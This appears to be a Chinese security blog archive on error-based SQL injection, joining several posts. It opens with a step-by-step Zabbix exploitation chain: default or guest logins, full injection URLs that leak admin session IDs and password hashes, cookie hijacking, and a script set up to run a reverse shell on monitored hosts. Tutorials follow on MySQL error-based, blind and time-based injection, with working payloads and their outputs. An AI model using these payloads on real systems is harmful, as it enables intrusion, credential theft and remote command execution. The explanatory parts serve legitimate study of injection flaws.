标签归档:报错注入

Zabbix漏洞总结

SQL注入(一)

影响版本
1.8.5-1.8.9
利用前提
需要登录,默认口令 admin/zabbix或者是guest/空

使用Guest账户登录

报错注入

httpmon.php?applications=2 and (select 1 from (select count(*),concat((select(select concat(cast(concat(alias,0x7e,passwd,0x7e) as char),0x7e)) from zabbix.users LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

可以获取到加密后密码
zabbix的session是存储在zabbix.sessions表中的

mysql> select sessionid from zabbix.sessions where status=0 and userid=1 limit 0,1;
+----------------------------------+
| sessionid                        |
+----------------------------------+
| 0207b91351782e881d98cdbb1074b5bb |
+----------------------------------+
1 row in set (0.00 sec)

通过注入获取到zabbix.sessions中保存着用户的session信息

httpmon.php?applications=2 and (select 1 from (select count(*),concat((select(select concat(cast(concat(sessionid,0x7e,userid,0x7e,status) as char),0x7e)) from zabbix.sessions where status=0 and userid=1 LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

可以获取到session

session:00afc31ea35f3f156ebb5c4b3b119be3

然后进行Cookie欺骗 直接替换zbx_sessionid为这个00afc31ea35f3f156ebb5c4b3b119be3
成功以administrator登陆

Administrator–>Scripts Create script 添加command为反弹命令

然后去找触发点,例如在Monitoring–>Triggers或者Monitoring–>Events都可以,过滤的时候把条件设置的宽松一些,能够筛选出尽量多的主机。然后来到这里 可以执行刚才设置的指令

这里命令执行成功的前提是zabbix客户端zabbix_agentd.conf配置

EnableRemoteCommands=1

获取到的权限是zabbix agent的运行权限。

SQL注入(二)


影响版本
2.2.x, 3.0.0-3.0.3
漏洞前提
需要登录,默认口令 admin/zabbix或者是guest/空
漏洞URL

http://*.*.*.*/jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(sessionid%20as%20char),0x7e))%20from%20zabbix.sessions%20where%20status=0%20and%20userid=1%20LIMIT%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17

报错如下:
得到session为0000cfd165072547509ff0b7fef9ed96,修改使用Firefox下插件Cookies Manager+修改zbx_sessionid为该值,就能以管理员权限登录。

【SQL注入】insert、update和delete报错注入

insert


这里我们用updatexml来演示
使用逻辑运算符(and or xor && ||)

mysql> insert into users values (3,'name' xor updatexml(2,concat(0x7e,(version())),0) xor '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'
mysql> insert into users values (5,'name' and updatexml(2,concat(0x7e,(version())),0) and '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'

使用算数运算符(+ – * /)

mysql> insert into users values (3,'name'+updatexml(2,concat(0x7e,(version())),0) xor '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'
mysql> insert into users values (3,'name'*updatexml(2,concat(0x7e,(version())),0) xor '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'

使用位运算符连接(| &)

mysql> insert into users values (3,'name'&updatexml(2,concat(0x7e,(version())),0) xor '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'
mysql> insert into users values (3,'name'|updatexml(2,concat(0x7e,(version())),0) xor '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'

update


mysql> update users set username = 'name' and updatexml(2,concat(0x7e,(version())),0) and '' where id = 5;
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'

delete


mysql> delete from users where id = 5 or updatexml(2,concat(0x7e,(version())),0) or '';
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'

 

这里需要注意,insert和delete都可以读取当前表的数据,但是update不行,因为在update的子查询中不能出现相同的表名。
使用insert获取当前表的数据,如下:

mysql> insert into users values (5,'name' or updatexml(2,concat(0x7e,(select concat_ws(0x7e,id,username,password) from users limit 0,1)),0) or '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~1~0~root@localhost'

使用delete获取当前表的数据,如下:

mysql> delete from users where id = 5 or updatexml(2,concat(0x7e,(select concat_ws(0x7e,id,username,password) fromusers limit 0,1)),0);
ERROR 1105 (HY000): XPATH syntax error: '~1~0~root@localhost'

而使用update获取不到,如下:

mysql> update users set username = 'test' or updatexml(2,concat(0x7e,(select concat_ws(0x7e,id,username,password) from users limit 0,1)),0) where id = 5;
ERROR 1093 (HY000): You can't specify target table 'users' for update in FROM clause

这里可以使用:

mysql> update users set username = 'test' or updatexml(2,concat(0x7e,(select concat_ws(0x7e,id,username,password) f
rom (select * from users)xx limit 0,1)),0) where id = 5;
ERROR 1105 (HY000): XPATH syntax error: '~1~test~root@localhost'

或者用主键重复的报错注入也可以

mysql> update users set username = 'test' and (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT (SELECT concat_ws(0x7e,id,username,password) FROM users LIMIT 0,1) ) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) and '' where id = 5;
ERROR 1062 (23000): Duplicate entry '1~0~root@localhost1' for key 'group_key'

当然我们之前也介绍过报错注入的姿势,用其他的报错语句同样可以达到效果。

参考文章


http://static.hx99.net/static/drops/tips-2078.html

【SQL注入】Mysql注入基础知识汇总

 

注释符:


#
/*

 

多条数据显示:


mysql> select group_concat(user(),version());
+--------------------------------+
| group_concat(user(),version()) |
+--------------------------------+
| root@localhost5.5.40-log |
+--------------------------------+
1 row in set (0.00 sec)

mysql> select concat_ws(0x7e,user(),version());
+----------------------------------+
| concat_ws(0x7e,user(),version()) |
+----------------------------------+
| root@localhost~5.5.40-log |
+----------------------------------+
1 row in set (0.00 sec)

 

相关函数:


user()、system_user()、current_user 用户名
version()、@@version 版本
database() 数据库
ascii()、ord() 获取ASCII
substr()、substring()、mid() FIND_IN_SET(str,strlist) strscmp(str1,str2)提取字符

 

联合查询:


获取注入所在表的字段数:

mysql> select * from users where id = 1 order by 3;
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | 0 | root@localhost |
+----+----------+----------------+
1 row in set (0.00 sec)

mysql> select * from users where id = 1 order by 4;
ERROR 1054 (42S22): Unknown column '4' in 'order clause'

然后从页面中获取能够回显出来的字段

mysql> select * from users where id = 1 and 1=2 union select 1,2,concat_ws(0x7e,user(),database(),version()) ;
+----+----------+--------------------------------+
| id | username | password |
+----+----------+--------------------------------+
| 1 | 2 | root@localhost~test~5.5.40-log |
+----+----------+--------------------------------+
1 row in set (0.00 sec)

 

布尔盲注:


盲注是指数据不会直接回显到页面中,而是通过比对页面返回的不同而判断是否存在SQL注入,例如:
1)返回数据包的Content-Length是否相同
2)返回数据包的状态码是否相同,例如在一些查询中如果使用 or 1=1这样的payload就可能会造成服务端返回500以上的错误。
3)返回数据包HTTP头中的内容是否相同,这个在使用Burp时经常会有误报就是因为比对到了Set-cookie头。
逻辑运算符有and or xor && ||
比较运算符有like rlike > < = regexp in between等
通常获取数据的方式是通过ascii比对。

mysql> select * from users where id = 1 and substr(user()from(1)for(1)) regexp '[a-z]';
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | 0 | root@localhost |
+----+----------+----------------+
1 row in set (0.00 sec)
mysql> select * from users where id = 1 and substr(user()from(1)for(1)) regexp '[1-9]';
Empty set (0.00 sec)

这里使用from for绕过对逗号的过滤。
这里也可以将正则修改为16进制。

mysql> select * from users where id = 1 and substr(user()from(1)for(1)) regexp 0x5b612d7a5d;
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | 0 | root@localhost |
+----+----------+----------------+
1 row in set (0.00 sec)

比对ascii

mysql> select * from users where id = 1 and ord(mid(version()from(1)for(1))) = 53;

find_in_set函数,如果相同则返回1 不同则返回0

mysql> select * from users where id = 1 and find_in_set(53,ord(substr(version()from(1)for(1))));
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | 0 | root@localhost |
+----+----------+----------------+
1 row in set (0.00 sec)

mysql> select * from users where id = 1 and find_in_set(52,ord(substr(version()from(1)for(1))));
Empty set (0.00 sec)

strcmp函数,如果两个值相同则返回0

mysql> select * from users where id = 1 and strcmp(53,ord(substr(version()from(1)for(1))));
Empty set (0.00 sec)

mysql> select * from users where id = 1 and strcmp(54,ord(substr(version()from(1)for(1))));
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | 0 | root@localhost |
+----+----------+----------------+
1 row in set (0.00 sec)

 

时间盲注:


sleep(5)和benchmark(1000000,sha(1))

mysql> select * from users where id = 1 and if(ord(substring(version()from(1)for(1)))=53,benchmark(10000000,sha(1)),1);
Empty set (3.46 sec)

如果执行的是or sleep(2)就可能造成服务端不可用。因为不满足id = 1的条目都会sleep(2),例如:
查看当前users表存在4条。

mysql> select * from users;
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | 0 | root@localhost |
| 2 | 0 | 123456 |
| 3 | 0 | pass |
| 4 | 0 | 0 |
+----+----------+----------------+
4 rows in set (0.00 sec)
mysql> select * from users where id = 1 or if(ord(substring(version()from(1)for(1)))=53,sleep(2),1);
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | 0 | root@localhost |
+----+----------+----------------+
1 row in set (6.00 sec)

可以看到有三个条目不满足id = 1,所以延迟了6S。而如果存在数万条的话,就可能会对服务器异常。

这里需要知道的是sleep和benchmark都会返回0,所以如果使用and的话查询结果为空。

mysql> select sleep(2);
+----------+
| sleep(2) |
+----------+
| 0 |
+----------+
1 row in set (2.00 sec)

mysql> select benchmark(10000000,sha(1));
+----------------------------+
| benchmark(10000000,sha(1)) |
+----------------------------+
| 0 |
+----------------------------+
1 row in set (3.53 sec)

报错注入:


【SQL注入】报错注入姿势总结

【SQL注入】报错注入姿势总结

主键重复:

mysql> select host from user where user = 'root' and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.731' for key 'group_key'

mysql> select * from users where id = 1 or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1;
ERROR 1062 (23000): Duplicate entry '5.5.40-log~1' for key 'group_key'

整形溢出:

select host from user where user = 'root' and Exp(~(select * from (select version())a));
#1690 - DOUBLE value is out of range in 'exp(~((select '5.5.40-log' from dual)))'

需要注意从5.5.5版本后整形溢出才会报错。


xpath处理函数(extractvalue和updatexml):

从mysql5.1.5开始提供两个XML查询和修改的函数,其中extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容。

mysql> select * from mysql.user where user = 'root' and extractvalue(1,concat(0x5c,user()));
ERROR 1105 (HY000): XPATH syntax error: '\root@localhost'
mysql> select * from mysql.user where user = 'root' and updatexml(1,concat(0x5c,user()),1);
ERROR 1105 (HY000): XPATH syntax error: '\root@localhost'

这里有一点需要注意:
concat(0x5c,user())如果不加concat的话获取到的信息是不全的。

mysql> select * from mysql.user where user = 'root' and extractvalue(1,version());
ERROR 1105 (HY000): XPATH syntax error: '.40-log'

NAME_CONST:

mysql列名重复会报错,我们利用name_const来制造一个列。

mysql> select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;
ERROR 1060 (42S21): Duplicate column name '5.5.40-log'
mysql> select * from mysql.user where user = 'root' and 1=(select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x);
ERROR 1060 (42S21): Duplicate column name '5.5.40-log'

但是name_const函数要求参数必须是常量。

mysql> select NAME_CONST(user(),1),NAME_CONST(user(),1);
ERROR 1210 (HY000): Incorrect arguments to NAME_CONST
mysql> select NAME_CONST(database(),1),NAME_CONST(database(),1);
ERROR 1210 (HY000): Incorrect arguments to NAME_CONST

同样利用这个列不能重复的道理,使用join函数可以爆列名。

mysql> select * from(select * from user a join user b)c;
ERROR 1060 (42S21): Duplicate column name 'Host'
mysql> select * from(select * from user a join user b using(host))c;
ERROR 1060 (42S21): Duplicate column name 'User'
mysql> select * from(select * from user a join user b using(host,user))c;
ERROR 1060 (42S21): Duplicate column name 'Password'

几何函数:

例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()

mysql> select multipoint((select * from (select * from (select * from (select version())a)b)c));
ERROR 1367 (22007): Illegal non geometric '(select `c`.`version()` from (select '5.5.40-log' AS `version()` from dual) `c`)' value found during parsing

【SQL注入】整形溢出报错注入原理

Mysql测试版本如下:

mysql> select @@version;
+------------+
| @@version  |
+------------+
| 5.5.40-log |
+------------+
1 row in set (0.00 sec)
mysql> select exp(~(select * from (select @@version)x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '5.5.40-log' from dual)))'

该报错注入的适用版本为>=5.5.5,在之前的版本中整形溢出是不会报错的,如下所示:

mysql> select @@version;
+------------+
| @@version  |
+------------+
| 5.1.73-log |
+------------+
1 row in set (0.00 sec)
mysql> select exp(~(select * from (select @@version)x));
+-------------------------------------------+
| exp(~(select * from (select @@version)x)) |
+-------------------------------------------+
|                                      NULL |
+-------------------------------------------+

1 row in set (0.00 sec)


首先看下Mysql存储整形的几种类型:

当BIGINT最大值进行增值运算的时候,会爆出BIGINT value is out of range的错误,也就是溢出了。如下所示:

mysql> select 18446744073709551615+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551615 + 1)'

Mysql逐位取反的特性,从0逐位取反,得到的数字也正是BIGINT中unsigned的数值范围,这个数值进行数学运算时同样会出现溢出错误。如下所示:

mysql> select ~0;
+----------------------+
| ~0                   |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)
mysql> select 1+~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(1 + ~(0))'

然后就是利用Mysql子查询的一个特性,当查询结果成功返回时,返回值为0,表达式进行逻辑非运算后,返回值则为1,并且这个返回值也可以进行数学运算。

mysql> create table test (name varchar(50));
Query OK, 0 rows affected (0.03 sec)
mysql> select (select * from test);
+----------------------+
| (select * from test) |
+----------------------+
| NULL                 |
+----------------------+
1 row in set (0.00 sec)
mysql> select !(select * from test);
+-----------------------+
| !(select * from test) |
+-----------------------+
|                  NULL |
+-----------------------+
1 row in set (0.00 sec)
mysql> insert into test values ('hehe');
Query OK, 1 row affected (0.00 sec)
mysql> select !(select * from test);
+-----------------------+
| !(select * from test) |
+-----------------------+
|                     1 |
+-----------------------+
1 row in set (0.00 sec)
mysql>  select !(select * from test)+~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'hehe' from dual))) + 18446744073709551615)'

获取User():

mysql> select !(select * from (select user())x)+~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) + ~(0))'
mysql> select (select(!x-~0)from(select(select user())x)a);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'
mysql> select (select!x-~0.from(select(select user())x)a);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'

同理,利用exp函数也会产生类似的溢出错误:

mysql> select exp(709);
+-----------------------+
| exp(709)              |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
mysql> select exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

既然可以通过BIGINT溢出配合子查询进行报错注入,那么就可以在实战当中获取到更多的数据:

mysql> select !x-~0 from (select (select name from test limit 0,1)x)a;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('hehe')) - ~(0))'

另外还可以一次获取多条数据,不过报错信息是有长度限制的,在mysql/my_error.c中可以看到:

/* Max length of a error message. Should be
kept in sync with MYSQL_ERRMSG_SIZE. */

#define ERRMSGSIZE (512)

获取多条数据的报错语句如下:

#select:
mysql> select !(select*from(select(concat(@:=0,(select count(*)from`dvwa`.users where @:=concat(@,0xa,user_id,0x2d2d,user,0x2d2d,password)),@)))x)-~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '000
1--admin--5f4dcc3b5aa765d61d8327deb882cf99
2--gordonb--e99a18c428cb38d5f260853678922e03
3--1337--8d3533d75ae2c3966d7e0d4fcc69216b
4--pablo--0d107d09f5bbe40cade3de5c71e9e9b7
5--smithy--5f4dcc3b5aa765d61d8327deb882cf99' from dual))) - ~(0))'

#insert:
mysql> insert into users (user_id,user,password) values (2,'' or !(select*from(select(concat(@:=0,(select count(*)from`dvwa`.users where @:=concat(@,0xa,user_id,0x2d2d,user,0x2d2d,password)),@)))x)-~0 or '', 'Eyre');
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '000
1--admin--5f4dcc3b5aa765d61d8327deb882cf99
2--gordonb--e99a18c428cb38d5f260853678922e03
3--1337--8d3533d75ae2c3966d7e0d4fcc69216b
4--pablo--0d107d09f5bbe40cade3de5c71e9e9b7
5--smithy--5f4dcc3b5aa765d61d8327deb882cf99' from dual))) - ~(0))'

#update:
mysql> update users set password='root' or !(select*from(select(concat(@:=0,(select count(*)from`dvwa`.users where @:=concat(@,0xa,user_id,0x2d2d,user,0x2d2d,password)),@)))x)-~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '000
1--admin--5f4dcc3b5aa765d61d8327deb882cf99
2--gordonb--e99a18c428cb38d5f260853678922e03
3--1337--8d3533d75ae2c3966d7e0d4fcc69216b
4--pablo--0d107d09f5bbe40cade3de5c71e9e9b7
5--smithy--5f4dcc3b5aa765d61d8327deb882cf99' from dual))) - ~(0))'

#delete:
mysql> delete from users where user_id='1' or !(select*from(select(concat(@:=0,(select count(*)from`dvwa`.users where @:=concat(@,0xa,user_id,0x2d2d,user,0x2d2d,password)),@)))x)-~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '000
1--admin--5f4dcc3b5aa765d61d8327deb882cf99
2--gordonb--e99a18c428cb38d5f260853678922e03
3--1337--8d3533d75ae2c3966d7e0d4fcc69216b
4--pablo--0d107d09f5bbe40cade3de5c71e9e9b7
5--smithy--5f4dcc3b5aa765d61d8327deb882cf99' from dual))) - ~(0))'

参考文章:
http://www.thinkings.org/2015/08/10/bigint-overflow-error-sqli.html
https://xianzhi.aliyun.com/forum/read/762.html

【SQL注入】MySQL Duplicate entry报错注入原理

很常用的一个SQL报错注入语句:

mysql> select count(*),(floor(rand(0)*2))x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
mysql> select count(*) from information_schema.tables group by floor(rand(0)*2);
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
mysql> select host from user where user = 'root' and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.731' for key 'group_key'

这里我新建一张表测试:

mysql> create table test (name varchar(50));
Query OK, 0 rows affected (0.01 sec)

插入第一条数据,没有报错。

mysql> insert into test set name = 'vincent';
Query OK, 1 row affected (0.00 sec)

mysql> select count(*) from test group by floor(rand(0)*2);
+----------+
| count(*) |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)

再插入一条数据,还是没有报错。

mysql> insert into test set name = 'tom';
Query OK, 1 row affected (0.00 sec)

mysql> select count(*) from test group by floor(rand(0)*2);
+----------+
| count(*) |
+----------+
| 2 |
+----------+
1 row in set (0.00 sec)

再插入一条数据,执行SQL发现报错了。

mysql> insert into test set name = 'gary';
Query OK, 1 row affected (0.00 sec)

mysql> select count(*) from test group by floor(rand(0)*2);
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'

也就是数据库中有三条及以上数据的时候才会报错。


这里我们先来测试一下floor(rand(0)*2)

mysql> select floor(rand(0)*2) from test;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
| 0 |
| 1 |
+------------------+
9 rows in set (0.00 sec)

多次测试发现这个查询结果是固定的,即结果就是0 1 1 0 1 1 ….. 其实这个报错就是由于这个固定的数据导致的。


然后说一下count和group的虚拟表

mysql> select * from test;
+---------+
| name |
+---------+
| vincent |
| tom |
| gary |
| gary |
| gary |
| gary |
| tom |
| tom |
| gary |
+---------+
9 rows in set (0.00 sec)
mysql> select name,count(*) from test group by name ;
+---------+----------+
| name | count(*) |
+---------+----------+
| gary | 5 |
| tom | 3 |
| vincent | 1 |
+---------+----------+
3 rows in set (0.00 sec)

这里实际上会创建一张虚拟表,有key和value两个字段,其中key相当于这里的name,不可重复,相当于主键,而value是一个累加的值。
开始查询数据,取数据库数据,然后查看虚拟表存在不,不存在则插入新记录,存在则count(*)字段直接加1。
这里造成报错的一个最主要原因是在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次。在配合之前我们说到的0 1 1 0 1 1这个固定结果就导致了报错,具体过程如下:
1)查看前先创建了虚表。
2)取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在,则floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕,如下图:
key value
1     1
3)查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算),查询虚表,发现1的键值存在,所以floor(rand(0)*2)不会被计算第二次,直接count(*)加1,第二条记录查询完毕,结果如下:
key value
1     2
4)查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第4次计算),查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,作为虚表的主键,其值为1(第5次计算),然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了。
5)整个查询过程floor(rand(0)*2)被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要3条数据,使用该语句才会报错的原因。


参考文章:
https://xianzhi.aliyun.com/forum/read/767.html